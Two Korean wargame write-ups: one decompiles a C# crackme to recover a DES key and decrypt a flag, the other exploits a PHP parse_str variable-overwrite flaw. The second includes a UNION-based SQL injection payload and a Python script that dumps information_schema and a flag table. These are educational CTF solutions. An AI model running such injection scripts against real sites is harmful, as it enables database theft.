Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 Crypto Crackme Basic 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 생각보다 간단하지만, 어느정도 도구를 다룰 줄 알아야 합니다.

사용할 수 있는 도구는 굉장히 다양하지만 목적은 C# Decompile, 혹은 C# Analysis로 동일합니다.

문제를 풀어보도록 하겠습니다.




 

 문제 이해


문제는 다음과 같습니다.


Crypto Crackme Basic에서는 C# Reversing이 가능하는지 묻고 있습니다.

문제를 풀면서 생각해보건데, 일반적은 디버거(OllyDBG 혹은 X64DBG, IDA 등)으로는 분석하기가 은근 까다롭습니다.


OllyDBG나 X64DBG의 경우 중단점의 위치를 파악하기 어려운데, 이는 dll을 동적으로 가져오는 원리 때문이라고 합니다.

또한 IDA의 경우 Decompile이 일반적인 방법으로 되지 않았습니다.(그냥 코드 가져다가 쭈욱 따라가면 디컴파일 해주던데 ㅠㅠ)


때문에 저는 IDA를 조금 사용하다가 중간에 C# Decompiler를 검색하여 사용해보았습니다.


일단 문제의 상세 내용은 다음과 같습니다.



위의 프로그램을 다운로드 받고 실행시키면 아래와 같이 됩니다.



WTF AUTH FAILED라는 문자열이 나오는 것을 중심으로 IDA를 응용해보려 했습니다. ㅠㅠ





 

 문제 풀이


일단 문제를 풀이하기 앞서 제가 한 삽질과 문제 풀이, 두 가지로 구분하려 합니다.

제가 삽질한 부분을 넘어가고자 하시면 [문제 풀이] 소제목으로 넘어가주시기 바랍니다.



 

 IDA를 이용한 C# 디컴파일(리버싱) - 실패


IDA를 이용하여 C#을 디컴파일 해보게 되면 다음과 같이 나오게 됩니다.


처음엔 오잉? 했으나, 저게 이 프로그램의 코드 흐름 전체입니다.

여기서 얻을 수 있는 힌트는 어떤 함수로 쓰여 있고, 어떤 값이 들어가 있는지 등이 쓰여 있을 뿐, 다른 큰 정보는 없습니다.

특히 name 값이 BluSH4G라는 것을 알 수 있다는 점에서 조금의 힌트는 얻을 수 있었습니다.


이제 F5를 눌러 디컴파일을 하려했는데...


띠용.

안 됩니다...


원래 이 외에도 다양한 삽질을 시도 하였으나, 의미있는 건 저정도 뿐이라 여기까지만 작성해보도록 하겠습니다.


이처럼 디컴파일이 안 되기 때문에 다른 방법을 찾아야 했습니다.

디컴파일을 위해 다른 C# Decompiler툴을 찾아보았습니다.


찾아본 툴의 종류는 굉장히 다양하나, 저는 JetBrain에서 제공하는 Dot Peek이라는 프로그램을 사용하였습니다.

여러분은 dnSpy를 사용하시는 것을 권장합니다.



 

 문제 풀이


문제 풀이를 위해 Dot Peek을 설치해보았습니다.

원래는 Decompile한 파일을 Export하여 동적 디버깅을 수행하기 위해 Visual Studio를 설치하였으나, 굳이 그럴 필요까지는 없었습니다.
(파일이 워낙 작고 하나에 모아둬서 그럴 필요까지는 없다는 것입니다.)


Dot Peek으로 디컴파일하게 되면 다음과 같이 나타나게 됩니다.

IDA에서 바랐던 모습이 좀 더 상세하게 나온 기분이네요.

위와 같이 아예 프로젝트 소스를 완전하게 디컴파일 해주는 것처럼 보입니다.

변수 이름이나 함수 이름을 완벽하게 가져왔습니다.


C#은 원래 이런가...


여기어 이 프로젝트를 Export하여 동적 디버깅을 수행하여 이것저것 알아보려 했으나 크게 소득이 없었습니다.


물론 C# 코드를 모르시는 분이나, 이해가 잘 안 간다 하시는 분은 Visual Studio를 설치하여 동적디버깅 하면서 변수의 값을 일일이 체크해보는 게 더 빠르고 도움될 수 있습니다.


저는 후자이기 때문에 동적 디버깅을 수행하였습니다.


먼저 DES 암호 알고리즘임으 알 수 있습니다.

또한 모드는 ECB 모드이며, Key만 이용되는 암호화 방식입니다.

따라서 여기서는 Key 값만 유효하며 IV는 의미가 없습니다.


중단점을 삽입하고, F11을 눌러가며 디버깅을 수행하면서, Key 값과 IV(Initial Vector) 값을 확인했습니다.

여기서 Key 값과 IV 값은 동일하며 name + '*' 값입니다.

즉 BluSH4G 값이 이름이면 뒤에 *을 붙여 BluSH4G* 가 Key와 IV가 된다는 것입니다.


이제 암호화된 값이 어디있는지 찾아야 하는데, 이는 getps라는 함수를 통해 값을 얻어옵니다.



동적 디버깅을 쭉 따라가다보면, wargame.kr에서 ps.php를 통해 암호화된 값을 가져우는 것을 확인할 수 있습니다.

이 값이 암호화된 flag값입니다.

또한 암호화된 값은 Base64로 인코딩 되어 있으며, 이는 위의 myEncrypt에서 설명하고 있습니다.



이제 알아낸 Key 값으로 위의 암호문을 복호화해보도록 하겠습니다.


복호화를 위해 따로 코드를 구현하지 않았고, online을 사용하였습니다.


이렇게 해서 Flag를 얻어낼 수 있었습니다.

저 Flag 값은 계속 바뀌게 됩니다.


만약 온라인이 별로라면?

import pyDes # Should install using pip module
import base64

class DES:
    def __init__(self, iv, key):
        self.iv  = iv
        self.key = key

    def encrypt(self, data):
        k    = pyDes.des(self.key, pyDes.ECB, self.iv, pad=None, padmode=pyDes.PAD_PKCS5)
        d    = k.encrypt(data)
        d    = base64.b64encode(d)
        return d

    def decrypt(self, data):
        k    = pyDes.des(self.key, pyDes.ECB, self.iv, pad=None, padmode=pyDes.PAD_PKCS5) 
        data = base64.b64decode(data)
        d    = k.decrypt(data)
        return d

if __name__ == '__main__':
    iv       = 'BluSH4G*'
    key      = 'BluSH4G*'
    des      = DES(iv, key)
    enc_data = b"kyxBF9rAKXBIGi5KmChr0v+xDhZV/5BFNpLzRs4/tLj/BSXG+NKIlxVDw6Z7BZik"
    
    dec_data = des.decrypt(enc_data)

    print(dec_data)
    




끝!


 

 P.S.


dnSpy는 dot peek + Visual Studio인데 겁나 가벼움...

님들 dnSpy 씁시다.


https://github.com/0xd4d/dnSpy/releases

Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 dmbs335 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 생각보다 간단하지만, 어느정도 PHP 코드의 분석이 필요한 문제입니다.

문제를 풀어보도록 하겠습니다.




 

 문제 이해


문제는 다음과 같습니다.


여기서 문제를 보면, SQL Injection 문제라고 나옵니다.

그리고 문제로 들어가면 다음과 같이 테이블이 나오게 됩니다.


쿼리는 GET 방식으로 search_cols, keyword, operator가 있고, 소스도 보여줍니다.

소스는 다음과 같습니다.

<?php 

if (isset($_GET['view-source'])) {
        show_source(__FILE__);
        exit();
}

include("../lib.php");
include("./inc.php"); // Database Connected

function getOperator(&$operator) { 
    switch($operator) { 
        case 'and': 
        case '&&': 
            $operator = 'and'; 
            break; 
        case 'or': 
        case '||': 
            $operator = 'or'; 
            break; 
        default: 
            $operator = 'or'; 
            break; 
}} 

if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
    exit('not allowed');
}

parse_str($_SERVER['QUERY_STRING']); 
getOperator($operator); 
$keyword = addslashes($keyword);
$where_clause = ''; 

if(!isset($search_cols)) { 
    $search_cols = 'subject|content'; 
} 

$cols = explode('|',$search_cols); 

foreach($cols as $col) { 
    $col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : ''; 
    if($col) { 
        $query_parts = $col . " like '%" . $keyword . "%'"; 
    }

    if($query_parts) { 
        $where_clause .= $query_parts;
        $where_clause .= ' '; 
        $where_clause .= $operator; 
        $where_clause .= ' '; 
        $query_parts = ''; 
    } 
} 

if(!$where_clause) { 
    $where_clause = "content like '%{$keyword}%'"; 
} 
if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) { 
    $len = strlen($where_clause) - (strlen($operator) + 2);
    $where_clause = substr($where_clause, 0, $len); 
} 


?>
<style>
    td:first-child, td:last-child {text-align:center;}
    td {padding:3px; border:1px solid #ddd;}
    thead td {font-weight:bold; text-align:center;}
    tbody tr {cursor:pointer;}
</style>
<br />
<table border=1>
    <thead>
        <tr><td>Num</td><td>subject</td><td>content</td><td>writer</td></tr>
    </thead>
    <tbody>
        <?php
            $result = mysql_query("select * from board where {$where_clause} order by idx desc");
            while ($row = mysql_fetch_assoc($result)) {
                echo "<tr>";
                echo "<td>{$row['idx']}</td>";
                echo "<td>{$row['subject']}</td>";
                echo "<td>{$row['content']}</td>";
                echo "<td>{$row['writer']}</td>";
                echo "</tr>";
            }
        ?>
    </tbody>
    <tfoot>
        <tr><td colspan=4>
            <form method="">
                <select name="search_cols">
                    <option value="subject" selected>subject</option>
                    <option value="content">content</option>
                    <option value="content|content">subject, content</option>
                    <option value="writer">writer</option>
                </select>
                <input type="text" name="keyword" />
                <input type="radio" name="operator" value="or" checked /> or   
                <input type="radio" name="operator" value="and" /> and
                <input type="submit" value="SEARCH" />
            </form>
        </td></tr>
    </tfoot>
</table>
<br />
<a href="./?view-source">view-source</a><br />


먼저 42번 째 줄을 보면, 만약 $col의 값이 subject나 content 혹은 writer가 아니면 빈 문자열을 반환합니다.

즉, 정상적인 요청일 때는 seach_cols에는 content, subject, writer 등의 값이 들어있어야 합니다.


그리고 해당 값이 있다면 $query_parts라는 값에 적절한 값이 세팅됩니다.


여기서 취약한 부분이 어디인지 찾아보았는데, parse_str함수를 통해 $_SERVER['QUERY_STRING'] 값을 파싱한다는 부분입니다.


_SERVER['QUERY_STRING']은 우리가 POST든 GET이든 값을 넘겨주게 되면, 해당 값으로 변수를 채운다는 뜻입니다.


만약 GET으로 ?data=abcd&id=identification 이렇게 값을 넘겨줬다면

$data에는 'abcd'라는 값이,

$id에는 'identification'이라는 값이 들어가게 됩니다.


이와 같이 넘어온 값을 변수에 채워주게 되는데, 이러한 부분이 취약점이 될 수 있습니다.



 

 문제 풀이


위의 문제를 풀기 위해서는 우리가 임의로 특정 영역에 값을 넣어줄 수 있다는 점, 그리고 그 값이 변경되지 않도록 할 수 있는 부분이 있는가에 대한 확인이 필요합니다.


1. 특정 영역에 값을 넣을 수 있는 건 _SERVER['QUERY_STRING']이라는 코드가 있기 때문

2. 우리가 입력한 값이 SQL Injection이 되도록 변경이 되지 않고 잘 삽입될 수 있는지 확인은 코드를 분석해야 함


 

 특정 영역에 값을 넣을 수 있는가


우리는 keyword든, where_clause든, query_parts, operator, cols 등에 값을 넣을 수 있습니다.

이는 _SERVER['QUERY_STRING'] 이라는 코드가 있기 때문입니다.


변수에 값을 넣어주는 쿼리는 다음과 같이 할 수 있습니다.


http://wargame.kr:8080/dmbs335/?where_clause=1&cols=1&query_parts=1&search_cols=1&keyword=1&operator=or



 

 우리가 입력한 값이 변경되지 않고 잘 삽입될 수 있는가


우리가 코드에서 삽입할 수 있는 변수들의 목록을 살펴볼 때, 다음과 같은 코드는 무조건 다른 값으로 매꿔지는 것을 볼 수 있습니다.


11번 라인 $operator(값이 무조건 치환되도록 하였음)

33번 라인 $where_clause(값이 빈 문자열로 치환되도록 하였음)

39번 라인 $cols(값이 들어 있든 없든, 분할되어 Array로 바뀜)


여기서 우리는 $len, $query_parts를 이용할 수 있겠다 싶지만, SQL문에 직접 삽입되는 코드는 query_parts 뿐임을 알 수 있습니다.


query_parts 변수에 값을 넣어서 변하지 않도록 하기 위해서는 43번 라인이 실행되면 안 됩니다.

즉, $col에 값이 들어있지 않아야 하며, 이를 위해서는 seach_cols에 subject, content, writer 등의 문자가 없어야 함을 의미합니다.


여기서 위와 같은 조건을 맞춰준다면 다음과 같은 SQL 문이 들어가게 됨을 예상할 수 있습니다.


select * from board where {$query_parts} order by idx desc


위의 값에 $query_parts 부분에는 원래 $where_clause가 들어가게 되는데, 만약 col에 적절한 값이 들어가 있지 않다면,

43번 if문이 실행되지 않고, 우리가 입력한 query_parts 값이 where_clause에 들어가게 됩니다.


그리고 59 ~ 62 라인의 코드에서 $where_clause 값을 적절한 쿼리로 만들어줍니다.(뒤에 붙는 $operator 값을 제거함)


여기서 각각 다음과 같이 입력해보도록 합시다.


query_parts(unquote) : 0 union select 1,2,3,4#

query_parts(quote) : 0%20union%20select%201,2,3,4%23


search_cols : 1


그러면 다음과 같은 값을 뱉어냅니다.



허허허허허허 개꾸르

Injection이 가능하다는 것을 볼 수 있습니다.


여기서 싱글 쿼터, 더블 쿼터 모두 필터링이 되어 있지 않기 때문에 다음과 같이 information_schema 값을 쭈욱 뽑아낼 수 있습니다.


편하게 해보려고 불편한 코드를 작성해보았습니다.

import requests
import re

requests.packages.urllib3.disable_warnings()
sess  = requests.session()
URL   = 'http://wargame.kr:8080/dmbs335/'

query_works = False
 
# Test to Query if it works  ==========================

# id = admin
# not filtered single quote....

# search_cols must not have the words; 'subject' or 'content'

query_parts = '1'
search_cols = '1'
keyword     = '1'

payload     = "?query_parts={}&search_cols={}&keyword={}&operator=or".format(
                query_parts,   search_cols,   keyword)
res         = sess.get(url=URL+payload, verify=False)


if len(res.text) > 945:
    query_works = True
else:
    query_works = False

 
print('[=] query_works  : ', query_works)
print('[=] res.text len : ', len(res.text))


# GET table_schema and table_name  ==========================

# <  td> tag parsing regex
regex       = r"<    td>(.+?)< /td>"

query_parts = '0 union select 1,table_schema,table_name,4 from information_schema.tables%23'
search_cols = '1'
keyword     = '1'

payload     = "?query_parts={}&search_cols={}&keyword={}&operator=or".format(
                query_parts,   search_cols,   keyword)
res         = sess.get(url=URL+payload, verify=False)

pos         = res.text.find('<   tbody>')
data        = res.text[pos:]

re_list     = re.findall(regex, data)[:4]

count       = 0


print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-')
print('{} : {}'.format('1', re_list[count + 0]))
print('{} : {}'.format('table_name', re_list[count + 1]))
print('{} : {}'.format('column_name', re_list[count + 2]))
print('{} : {}'.format('4', re_list[count + 3]))
count+=4



# GET table_name and column_name  ==========================

# <  td> tag parsing regex
regex       = r"<    td>(.+?)< /td>"

query_parts = '0 union select 1,table_name,column_name,4 from information_schema.columns where table_name=\'Th1s_1s_Flag_tbl\'%23'
search_cols = '1'
keyword     = '1'

payload     = "?query_parts={}&search_cols={}&keyword={}&operator=or".format(
                query_parts,   search_cols,   keyword)
res         = sess.get(url=URL+payload, verify=False)

pos         = res.text.find('<   tbody>')
data        = res.text[pos:]

re_list     = re.findall(regex, data)[:4]


count       = 0


print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-')
print('{} : {}'.format('1', re_list[count + 0]))
print('{} : {}'.format('table_name', re_list[count + 1]))
print('{} : {}'.format('column_name', re_list[count + 2]))
print('{} : {}'.format('4', re_list[count + 3]))
count+=4


# GET column_name and column_data  ==========================

# <  td> tag parsing regex
regex       = r"<    td>(.+?)< /td>"

query_parts = '0 union select 1,2,f1ag,4 from dmbs335.Th1s_1s_Flag_tbl%23'
search_cols = '1'
keyword     = '1'

payload     = "?query_parts={}&search_cols={}&keyword={}&operator=or".format(
                query_parts,   search_cols,   keyword)
res         = sess.get(url=URL+payload, verify=False)

pos         = res.text.find('<   tbody>')
data        = res.text[pos:]

re_list     = re.findall(regex, data)[:4]

count       = 0


print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-')
print('{} : {}'.format('1', re_list[count + 0]))
print('{} : {}'.format('2', re_list[count + 1]))
print('{} : {}'.format('column_data', re_list[count + 2]))
print('{} : {}'.format('4', re_list[count + 3]))
count+=4



끝!




+ Recent posts